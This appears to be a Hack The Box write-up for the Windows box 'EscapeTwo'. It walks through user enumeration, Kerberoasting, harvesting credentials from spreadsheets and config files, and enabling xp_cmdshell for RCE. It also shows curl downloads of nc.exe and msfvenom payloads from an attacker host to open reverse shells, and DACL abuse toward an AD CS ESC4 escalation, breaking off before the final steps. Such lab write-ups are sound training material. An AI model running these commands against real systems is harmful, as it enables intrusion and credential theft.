EscapeTwo

INTRODUCTION

Alright! Here comes Season 7, Vice. Our first box is Windows, rated Easy. Right away, it’s important to note that we’re provided a credential for this one, for the rose account. With this credential, we successfully accessed SMB shares on the sequel.htb server finding the Accounting Department which contained garbled spreadsheets that, when opened as archives and read as raw XML, revealed a list of names and credentials. One of these credentials gave access to MS-SQL, that had xp_cmdshell enabled - providing us a foothold of RCE.

Using xp_cmdshell, we discovered that curl was available, allowing us to transfer our own tools to the target. In the end, we opened a reverse shell using msfvenom. After a bit of manual enumeration of the filesystem, we found a credential inside the MSSQL config files, prompting us to check for credential reuse via credential-spraying. Thankfully, the credential was reused, which led to WinRM access of the target, and the user flag.

Privesc to root was actually pretty challenging. Operating on a hunch that the box had something to do with the certificate authority, we attempted to compromise the ca_svc account. By utilizing Bloodhound-CE and Rusthound, we uncovered an attack path to privesc via a very strange relation between our user (from WinRM) to a certain overly-permissive group. Ultimately, this led to the famous “ESC4” attack path of AD CS certificate abuse.

This box was a not-so-gentle introduction into Season 7, but I learned quite a bit about Active Directory attacks. It took a while, but I’m glad I stuck with it!

garbled spreadsheet

RECON

nmap scans

Port scan

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49685/tcp open  unknown
49686/tcp open  unknown
49689/tcp open  unknown
49694/tcp open  unknown
49716/tcp open  unknown
49735/tcp open  unknown
59297/tcp open  unknown

These results strongly indicate that we’re looking at a Windows Active Directory domain controller.

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR

Caution, large output!

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-14 09:18:57Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T09:20:33+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-14T09:20:33+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info: 
|   10.129.35.38:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   10.129.35.38:1433: 
|     Target_Name: SEQUEL
|     NetBIOS_Domain_Name: SEQUEL
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: sequel.htb
|     DNS_Computer_Name: DC01.sequel.htb
|     DNS_Tree_Name: sequel.htb
|_    Product_Version: 10.0.17763
|_ssl-date: 2025-01-14T09:20:33+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-01-14T08:58:32
|_Not valid after:  2055-01-14T08:58:32
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
|_ssl-date: 2025-01-14T09:20:33+00:00; 0s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_Not valid after:  2025-06-08T17:35:00
|_ssl-date: 2025-01-14T09:20:33+00:00; 0s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49685/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49694/tcp open  msrpc         Microsoft Windows RPC
49716/tcp open  msrpc         Microsoft Windows RPC
49735/tcp open  msrpc         Microsoft Windows RPC
59297/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-01-14T09:19:58
|_  start_date: N/A

Right away, we know some important facts:

  • The domain is sequel.htb
  • This host is DC01.sequel.htb
    • As DC, it’s also the DNS, Kerberos authority, LDAP(s) server, etc…
  • Oddly enough, there is an exposed MSSQL server. I’ll check that out soon 🚩

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No significant results

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

☝️ UDP scans take quite a bit longer, so I limit it to only common ports

PORT    STATE SERVICE      VERSION
53/udp  open  domain       Simple DNS Plus
88/udp  open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-14 09:23:49Z)
123/udp open  ntp          NTP v3

These are the usual suspects for a domain controller. Nothing out of the ordinary here.

Domain

Noting the redirect from the nmap scan, I added dc01.sequel.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=sequel.htb
echo "$RADDR dc01.$DOMAIN $DOMAIN" | sudo tee -a /etc/hosts

Just in case nmap somehow made a mistake, I figured I’d check for unauthenticated SMB:

smbmap -H $RADDR --dc-ip $RADDR

# [*] Detected 1 hosts serving SMB
# [*] Established 1 SMB connections(s) and 0 authenticated session(s) 
# [*] Closed 1 connections 

Ok, that’s a good sign. Let’s check for other anonymous services:

for SVC in smb mssql ldap winrm; do    
        echo "Checking $SVC for anonymous authentication...";
        crackmapexec $SVC $RADDR -u '' -p ''; 
done

Kerberos

One tool for this is kerbrute. I find the regular python one to be a bit of a pain, so I’ll use a precompiled one. We need to provide a wordlist of usernames:

USERSLIST=/usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt
kerbrute_linux_amd64 userenum -d sequel.htb --dc $RADDR $USERSLIST | tee usernames.txt

kerbrute

Great, so now we know about these users:

  • michael
  • ryan
  • oscar
  • rose
  • administrator

I was using a very large wordlist, so I didn’t actually let it terminate. Even if I did, there’s no guarantee that this is a comprehensive list of the AD users.

Let’s make a better list of those, instead of just the raw output:

cat usernames.txt | awk '{print $7}' | sort | uniq -i | tee users.txt
cat users.txt | cut -d '@' -f 1 > names.txt
rm usernames.txt

🚫 ​Brute force

Let’s quickly try brute-forcing the passwords, in case any have a particularly bad password. First, I’ll assemble the wordlist:

This could have been a bash loop, but it’s easier to remember the syntax for Cracken.

PASSWORDS=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000.txt
cracken generate -w names.txt -w $PASSWORDS "?w1:?w2" -o kerbrute_wordlist.lst

Now I’l reuse kerbrute in brute-forcing mode:

kerbrute_linux_amd64 bruteforce -d sequel.htb --dc $RADDR kerbrute_wordlist.lst 

# 2025/01/14 12:42:22 >  Done! Tested 4995 logins (0 successes) in 125.461 seconds

🚫 AS-REP Roast

We have a list of users, so we should be able to use GetNPUsers (also from Impacket) to check if any of the users have kerberos preauthentication disabled (vulnerable to an ASREPRoast):

GetNPUsers.py -usersfile ./names.txt -dc-ip $RADDR 'sequel.htb/'

kerb preauth disabled check

Nope, none of these users are vulnerable to an ASREPRoast.

🚫 ​MSSQL

The nmap scans showed MS-SQL running on the standard port. Let’s take a look. DBeaver would work, but I’ll just use the mssql tool from Impacket:

mssqlclient.py dc01.sequel.htb
 
# [*] Encryption required, switching to TLS
# [-] ERROR(DC01\SQLEXPRESS): Line 1: Login failed for user ''.

⭐ Giant DUH moment

I opened my web browser again, where I had HTB open… and was horrified to see this 😱

DUH

Yes, that’s right: we had a credential the whole time.

  • rose : KxEPkKe6R8su 🚨

FOOTHOLD

🚫 Kerberoast

💡 Since we have a valid credential, it’s now possible to use Kerberos against itself.

Using the rose account, we can request a TGS from Kerberos for other services, and it should contain a hash derived from the service user’s password… To try this, we’ll use another Impacket tool, GetUserSPNs.py:

👇 By using the -request parameter, a successful attack should yield us some hashes to crack using john or hashcat

GetUserSPNs.py -request -outputfile ~/Box_Notes/EscapeTwo/loot/UserSPNs.txt -dc-ip $RADDR 'sequel.htb/rose:KxEPkKe6R8su'

kerberoast 1

Nice - That got us TGSs for two users, sql_svc and ca_svc!

Let’s see if we can crack those hashes. Since this is HTB, I’ll start with rockyou:

WLIST=/usr/share/wordlists/rockyou.txt
john --wordlist=$WLIST loot/UserSPNs.txt
hashcat UserSPNs.txt $WLIST

Nothing! That’s too bad. Many service accounts have auto-generated, highly secure passwords. Maybe that’s the case with these.

SMB (Authenticated)

Let’s try SMB again, but this time with some credentials:

smbclient -U 'rose%KxEPkKe6R8su' \\\\sequel.htb

smb shares

Great, there’s some SMB shares there. Users seems like the most natural choice, but Accounting Department is also interesting.

Note, an alternate way of checking the SMB shares is to use smbmap:

smbmap -u rose -p KxEPkKe6R8su -H $RADDR --dc-ip $RADDR

smbmap

This gives the same info, but it’s a little easier to read. smbmap also has more capabilities than just handling fileshares (ex. sometimes it is possible to use the -x COMMAND to gain really easy RCE )

Inside Users appears to be a regular Windows system - a lot to explore at first glance. Instead, I’ll open it in my file browser, Thunar by entering smb://10.129.35.38 into the address bar / filepath; this opens up a login window:

At first when I tried this, Thunar would not accept any smb:// URI. Not sure why I was missing it, but it seems like gvfs-backends was missing from my system:

sudo apt install gvfs-backends

smb login window thunar

While that made it a lot more comfortable to explore the share, I didn’t end up finding any useful information under Users.

What about the other share, Accounting Department? Let’s check it out:

accounting department

Oh, nice! Accountants do love their spreadsheets, don’t they? I bet there’s something good inside!

Spreadsheets

Upon trying to open the spreadsheets, I’m seeing some very odd contents. Both of the xlsx documents appear garbled like this:

garbled spreadsheet

It seems like there is no encoding that I can open these files with that gives any intelligible contents.

😒 Oh well, guess we’ll do it the hard way! Thankfully, xlsx is just a big ol’ linked XML document, so we can read it like that instead. Just open it using an archive manager (I’m using Engrampa):

open xlsx as archive

The file /xl/workbook.xml holds the workbook definition, where we can see a list of sheets (there’s only Sheet1). The sheet contents are at /xl/worksheets/sheet1.xml. However, the really important info is under /xl/sharedStrings.xml:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="25" uniqueCount="24">
<si><t xml:space="preserve">First Name</t></si>
<si><t xml:space="preserve">Last Name</t></si>
<si><t xml:space="preserve">Email</t></si>
<si><t xml:space="preserve">Username</t></si>
<si><t xml:space="preserve">Password</t></si>
<si><t xml:space="preserve">Angela</t></si><si><t xml:space="preserve">Martin</t></si><si><t xml:space="preserve">angela@sequel.htb</t></si><si><t xml:space="preserve">angela</t></si><si><t xml:space="preserve">0fwz7Q4mSpurIt99</t></si>
<si><t xml:space="preserve">Oscar</t></si><si><t xml:space="preserve">Martinez</t></si><si><t xml:space="preserve">oscar@sequel.htb</t></si><si><t xml:space="preserve">oscar</t></si><si><t xml:space="preserve">86LxLBMgEWaKUnBG</t></si>
<si><t xml:space="preserve">Kevin</t></si><si><t xml:space="preserve">Malone</t></si><si><t xml:space="preserve">kevin@sequel.htb</t></si><si><t xml:space="preserve">kevin</t></si><si><t xml:space="preserve">Md9Wlq1E5bZnVDVo</t></si>
<si><t xml:space="preserve">NULL</t></si><si><t xml:space="preserve">sa@sequel.htb</t></si><si><t xml:space="preserve">sa</t></si><si><t xml:space="preserve">MSSQLP@ssw0rd!</t></si></sst>

😂 I thought the names from our Kerbrute user enumeration seemed familiar…

We’re looking at the names of the Accounting department from The Office (the American one).

We still need to verify these, but here’s the credentials:

  • angela : 0fwz7Q4mSpurIt99
  • oscar : 86LxLBMgEWaKUnBG
  • kevin : Md9Wlq1E5bZnVDVo
  • sa : MSSQLP@ssw0rd!

🤔 Maybe sa stands for service account? We’ll see…

Let’s quickly try all these credentials with SMB. First, I’ll update my names.txt list with the new names: angela, kevin, and sa:

vim names.txt

Now I’ll try all username-password combinations using crackmapexec:

crackmapexec smb $RADDR -u names.txt  -p passwords.txt --continue-on-success

Only oscar and rose have successful SMB authentication. I checked if oscar can see any other SMB shares, but unfortunately he can only see the same ones as rose.

MSSQL (Authenticated)

Just to try all the credentials at the same time, I figured I’d loop through the credentials any try logging into MS-SQL:

while IFS= read -r cred; do
	echo "TRYING CREDENTIAL: $cred";
	mssqlclient.py "$cred@dc01.sequel.htb";
done < creds.txt

Authentication failed on all accounts except for sa. Let’s check out that database finally!

select name from sys.tables;
spt_fallback_db         
spt_fallback_dev        
spt_fallback_usg        
spt_monitor             
MSreplication_options

However, there’s nothing of interest in any of these tables:

mssql contents

We might be able to use the database to gain RCE, though, using xp_cmdshell. Sometimes we can also use it to read/write files.

xp_cmdshell

Let’s start with a simple whoami:

SQL> xp_cmdshell whoami
# [-] ERROR(DC01\SQLEXPRESS): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.

Cool, let’s just enable it then?

SQL> enable_xp_cmdshell
SQL> RECONFIGURE
SQL> xp_cmdshell whoami
# output           
# --------------   
# sequel\sql_svc   
# 
# NULL             
# 

😂 That was easy! We just got RCE.

And that’s awesome, but to issue any commands I need to keep repeating the same sequence through SQL:

enable_xp_cmdshell
RECONFIGURE
xp_cmdshell {command}

… and that’s a little tedious! 😬

We already saw that the target is listening for WinRM; using the xp_cmdshell, let’s see what users can log into WinRM:

net localgroup "Remote Management Users"

Looks like only ryan has access, and we don’t have his password yet, so that’s not going to work.

USER FLAG

Reverse shell

Using the xp_cmdshell I checked for a few tools that I could use to form a reverse shell, but unfortunately the options are very limited. Powershell is present, but something about running the payload through xp_cmdshell seems to be messing it up.

Thankfully, curl is present, so I should be able to just transfer my own tools onto the target and form a reverse shell that way.

See here for simple-server

sudo ufw allow from $RADDR to any port 8000 proto tcp
cd ./www
cp ~/Tools/WINDOWS/windows-binaries/nc.exe .
simple-server 8000 -v

Now, from the xp_cmdshell:

xp_cmdshell curl http://10.10.14.43:8000/nc.exe -o C:\Users\sql_svc\AppData\Local\Temp\paint.exe
xp_cmdshell dir /a C:\Users\sql_svc\AppData\Local\Temp

transferred nc

Seems like it worked? Let’s try forming the reverse shell

sudo ufw allow from $RADDR to any port 4444 proto tcp
bash  # usually I'm in zsh
rlwrap socat TCP4-LISTEN:4444,fork STDOUT
xp_cmdshell C:\Users\sql_svc\AppData\Local\Temp\paint.exe 10.10.14.43 4444 -e sh

My reverse shell listener is contacted, and it looks like the connection forms, but then it drops after the first keystroke or after a few seconds… Hmm 🤔

I tried a socat-socat shell, too. No luck there either.

How about powershell? I saved the standard Powershell #1 reverse shell from Revshells.com as rev.ps1 and served it to the target using an HTTP server:

vim rev.ps1  # paste the revshell in
simple-server 8000 -v
xp_cmdshell curl http://10.10.14.43:8000/rev.ps1 -o C:\Users\sql_svc\AppData\Local\Temp\rev.ps1
xp_cmdshell powershell C:\Users\sql_svc\AppData\Local\Temp\rev.ps1

It contacted my reverse shell listener and… this time it stuck! 👍

reverse shell

Unsurprisingly, MS-SQL was being ran by sql_svc.

Not sure if it’s relevant yet, but this account was one of the two that I gained a krb5 hash for when attempting a Kerberoast.

Call me picky, but I’m still not very satisfied with this reverse shell. It’s missing some “nice to have” features, like line breaks… Maybe I can do better still 🤔 How about one generated with msfvenom?

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.43 LPORT=4444 -f exe -o rev.exe
simple-server 8000 -v
xp_cmdshell curl http://10.10.14.43:8000/rev.exe -o C:\Users\sql_svc\AppData\Local\Temp\rev.exe
xp_cmdshell C:\Users\sql_svc\AppData\Local\Temp\rev.exe

Excellent - this is much more comfortable:

improved reverse shell

Filesystem Enumeration

I looked pretty thoroughly through C:\Users\sql_svc but didn’t find anything. After I left the Users directory, I saw something a little odd:

c drive weird folder

What’s this SQL2019 directory? The other directories in C:\ are very normal, but this one stands out. Let’s look inside.

💡 Aha! Inside here, we have the main config file for MS-SQL: C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI:

[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False" 
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True

Alright 👍 Another credential to add to our list: sql_svc : WqSZAF6CysDQbGb3

I’ve been burned too many times by failing to find credential reuse, so I’ve gained this habit:

  • I keep two lists going: one of “services that need authentication”, one of suspected or known credentials
    • Sometimes the “credentials” list is actually composed of two lists: usernames, and passwords
  • Any time either list gets a new entry, check ALL new combinations for credential re-use!

It is such a simple procedure, but being rigorous about it will save a LOT of time ⭐

Let’s update the passwords list (passwords.txt) with the newly found password, and update the users list (names.txt) with any previously-unrecorded names:

net users  # note that there are a few users we havent recorded
vim names.txt  # record sql_svc, ca_svc, Guest, and krbtgt
vim passwords.txt  # record WqSZAF6CysDQbGb3

I should check the username / password combinations against the services I know about (LDAP, SMB, WinRM, MSSQL).

I’ll start with WinRM, since it seems like a logical next step to do a user pivot.

crackmapexec winrm $RADDR -u names.txt  -p passwords.txt --continue-on-success

😆 Alright! Found one:

ryan credential reuse

Great - let’s open up that WinRM shell that we know ryan has access to:

evil-winrm -i $RADDR -u ryan -p WqSZAF6CysDQbGb3

winrm ryan

There’s the user flag - just type it out for some points:

type C:\Users\ryan\Desktop\user.txt

ROOT FLAG

Bloodhound (kali version)

Now that we have a nice, reliable WinRM connection, it’s time to do some Bloodhound enumeration.

We’ll need to store and view the data. First, this starts up the neo4j database:

sudo neo4j start

neo4j

Next, navigate to the http dashboard for neo4j because we need to clear out any old data that might be inside it by issuing this query:

MATCH (n) DETACH DELETE n

neo4j clean old data

Next, we need to collect the data from Active Directory:

bloodhound-python -ns $RADDR -d 'sequel.htb' -dc 'dc01.sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' -c All

This results in a bunch of files representing each object in Active Directory:

bloodhound data

Finally, we can run bloodhound to open the frontend/UI and interpret what we’ve collected:

bloodhound

Click the Upload Data button from the righthand tray and multi-select all the files we just exported from bloodhound-python:

importing bloodhound data

I like to start by showing all users, then marking some of them as “Owned” if I have their credentials:

owned users

I also set CA_SVC as a high-value target, since if we control the Certificate Authority, there’s a good chance we can simply grant ourselves Administrator login.

Bloodhound WriteOwner

Apparently ryan has WriteOwner over ca_svc. The Help text elaborates that the tactic is like this:

  1. Write a new owner to the target account: set the owner as an account you’ve already “owned” (in our case, we could use ryan)
  2. Grant FullControl DACL on the target account
  3. ???
  4. Profit

Currently, I’m not sure what step 3 will be. Hopefully that will become clear once I gain FullControl on ca_svc 🤷‍♂️

Taking over ca_svc

Writing a new Owner

$SecPassword = ConvertTo-SecureString 'R0bin5' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('sequel\ca_svc', $SecPassword)
Set-DomainObjectOwner -Credential $Cred -TargetIdentity ca_svc -OwnerIdentity ryan

WriteOwner failed

Let’s try the same tactic, except from my attacker machine instead of a local account on the target machine. I’ll use owneredit from Impacket:

Like many Impacket tools, the syntax is extremely finicky. To figure out exactly what I needed to do, I referenced this article.

(The trick is specifying the identity in three separate parts, each inside singlequoted string literals.)

cd ~/Tools/Impacket
source bin/activate  # I keep the tools inside a venv
python3 bin/owneredit.py -dc-ip $RADDR -new-owner 'ryan' -target 'ca_svc' -action write 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'

WriteOwner success

🙂 Alright - that’s a good sign. So at this point, ryan is the owner of ca_svc.

Granting FullControl

The whole point of becoming the owner is to gain the FullControl DACL over ca_svc. For this, we could ostensibly just use Powershell from the ryan WinRM shell:

Add-DomainObjectAcl -TargetIdentity ca_svc -Rights All

…but I ran into the same problem as before (‘Add-DomainObjectAcl’ is not recognized as the name of a cmdlet)

So, once again, let’s go back to the attacker machine and try using dacledit, also from Impacket:

python3 bin/dacledit.py -dc-ip $RADDR -rights 'FullControl' -principal 'ryan' -target 'ca_svc' -action 'write' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'

At first, it failed:

dacledit failed

However, I suspected that this was because I took so long to write the command, and that there’s some kind of cleanup script running on the box. After repeating the WriteOwner step, it worked fine:

dacledit success

😁 Great! Now ryan has FullControl over ca_svc.

Now that we have FullControl, Bloodhound docs suggest that we follow up by either a targeted Kerberoast or by changing the password.

Step 3 ?

For the rest of this walkthrough, you may notice a slight difference in my calls to Impacket tools. I decided to delete my old venv and install a system-wide copy of Impacket using pipx instead. Also BloodyAD:

rm -rf ~/Tools/Impacket
python3 -m pipx install impacket
python3 -m pipx install bloodyAD

Now I can use those tools without having to enter and source the venv. How convenient! 👏

So now what? Should we see what we can do by taking control of ca_svc? Bloodhound suggests changing the password. From the attacker machine, use the Impacket tools again:

owneredit.py -dc-ip $RADDR -new-owner 'ryan' -target 'ca_svc' -action write 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'
dacledit.py -dc-ip $RADDR -rights 'FullControl' -principal 'ryan' -target 'ca_svc' -action 'write' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'
# result: Ryan now has FullControl over ca_svc

Then, from the WinRM shell, just change the password:

net user ca_svc <new_password>  # I used password "goldenhawk"

Note that this could also have been done from the attacker machine:

bloodyAD --host $RADDR -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set password 'ca_svc' 'goldenhawk'

Seems to work.

🚫 Reverse shell as ca_svc

Maybe I’ll try opening a reverse shell as ca_svc?

(Make sure the reverse shell listener is open again; same IP, same port)

upload RunasCs.exe
.\RunasCs.exe ca_svc goldenhawk ".\rev.exe"

But I just encounter this error:

ca_svc reverse shell fail

I also tried running Certify.exe as ca_svc, but encountered the same error. In fact, it seems I can’t run anything as ca_svc!

Certificates recon

Let’s check what certificate templates exist. Using the ryan WinRM shell, we can upload Certify.exe and use it on the target:

cd C:\Users\ryan\Downloads
upload Certify.exe
.\Certify.exe cas

There are a few templates registered, including a suspicious “Dunder Mifflin” one:

Enabled Certificate Templates:
    DunderMifflinAuthentication
    DirectoryEmailReplication
    DomainControllerAuthentication
    KerberosAuthentication
    EFSRecovery
    EFS
    DomainController
    WebServer
    Machine
    User
    SubCA
    Administrator

The prequel to this box, Escape used a misconfigured certificate template to achieve privesc. The often-quoted literature around this technique is here (by Will Schroeder and Lee Christensen). Actually… one of the first AD boxes I ever did, Authority, also had the same privesc vector!

In both of these boxes, the “ESC1” criterion was satisfied: that the user requesting the certificate was able to specify the SAN. Thankfully, Certify.exe has a feature for checking which certificate templates allow this:

.\Certify.exe find /enrolleeSuppliesSubject

It looks like two of the certificate templates have this flaw that enables ESC1:

  • WebServer
  • SubCA

Unfortunately, neither of those are available to ryan (or to rose)… So where do we go from here? 🤔

Bloodhound-CE and Rusthound-CE

It came to my attention that the “old” Bloodhound (the one bundled in Kali) has some shortcomings when working with certificates, but that the “new” one, Bloodhound-CE fixes all that.

Rusthound

There’s an (unofficial) ingestor for Bloodhound-CE, written in Rust, that should handle certificate stuff properly. It’s fully cross-platform, which is definitely a nice feature.

You can think of rusthound-ce as a replacement for what bloodhound-python did for us earlier

sudo apt install cargo libkrb5-dev -y && cargo install rusthound-ce
rusthound-ce -d 'sequel.htb' -u ryan -p WqSZAF6CysDQbGb3 -z
# This should result in a zip file that we can import into Bloodhound-CE

Starting Bloodhound-CE

According to the documentation, Bloodhound-CE is best ran out of a Docker container.

For some reason, I was using the snap version of docker, which doesn’t even have docker compose (neither does the docker.io package bundled with kali)

I uninstalled the snap, then proceeded with the docker-ce installation instructions per Kali’s advice:

echo "deb [arch=amd64 signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian bookworm stable" | sudo tee /etc/apt/sources.list.d/docker.list 
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io

Be sure to actually start the docker service, too:

sudo systemctl start docker
sudo systemctl enable docker  # run it on startup

Go ahead and grab the docker-compose.yml file from here. Bloodhound-CE uses PostgreSQL, Neo4J, and a binary for their UI - we can run the whole stack using docker compose:

docker compose up

It might take a minute to pull the images…

pulling docker ce

Get your inital, randomly generated, password from the the logs:

bloodhound ce startup

Open the web interface at http://localhost:8080 and log in using admin:[initial_password]:

bloodhound ce ui

Once you’re logged-in, you’ll be asked to change passwords. After that, you’re ready to roll!

Bloodhound-CE Analysis

Finally, we can upload the data from the Rusthound ingestor by going to [Settings cog] > Administration > File Ingest > Upload :

uploading rusthound data

Going back to the main view, we can do a quick Pathfinding search from ryan to administrator and see the remainder of the attack path:

bloodhound ce path

WOW 😍 This is way better than the old version of Bloodhound (not that the old version wasn’t itself pretty great).

We can see very clearly that the attack path includes ADCSESC4, likely referring to ESC4 from the famous article I mentioned earlier. If you want a summary, check either of these out:

AD CS - ESC4

Summary

To put it in one sentence, ESC4 is when we have the ability to write or reconfigure certificate templates, thereby allowing us to create (or modify into) a flawed template that is vulnerable to ESC1.

That’s nice - it means we’re only one step away from the same privesc technique that was used in Escape and Authority 👍

My interpretation of the steps shown in Bloodhound-CE are as follows:

  1. (ESC4) Create a template that is vulnerable to ESC1
  2. (ESC1) Request a certificate for authentication, supplying our own subject-alternate-name (we’ll use Administrator)
  3. Authenticate using the certificate, granting us an NTLM hash
  4. Pass-the-hash as the target (Administrator)

I already tested out (3) and (4) earlier by requesting the User certificate for ryan, then authenticating and passing-the-hash. Seemed not too difficult!

Create the template

We can gain FullControl as before:

# Set ryan as owner of ca_svc
owneredit.py -dc-ip $RADDR -new-owner 'ryan' -target 'ca_svc' -action write 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'
# Give ryan FullControl over ca_svc
dacledit.py -dc-ip $RADDR -rights 'FullControl' -principal 'ryan' -target 'ca_svc' -action 'write' 'sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'

Now that we have FullControl we can take over the account using shadow credentials:

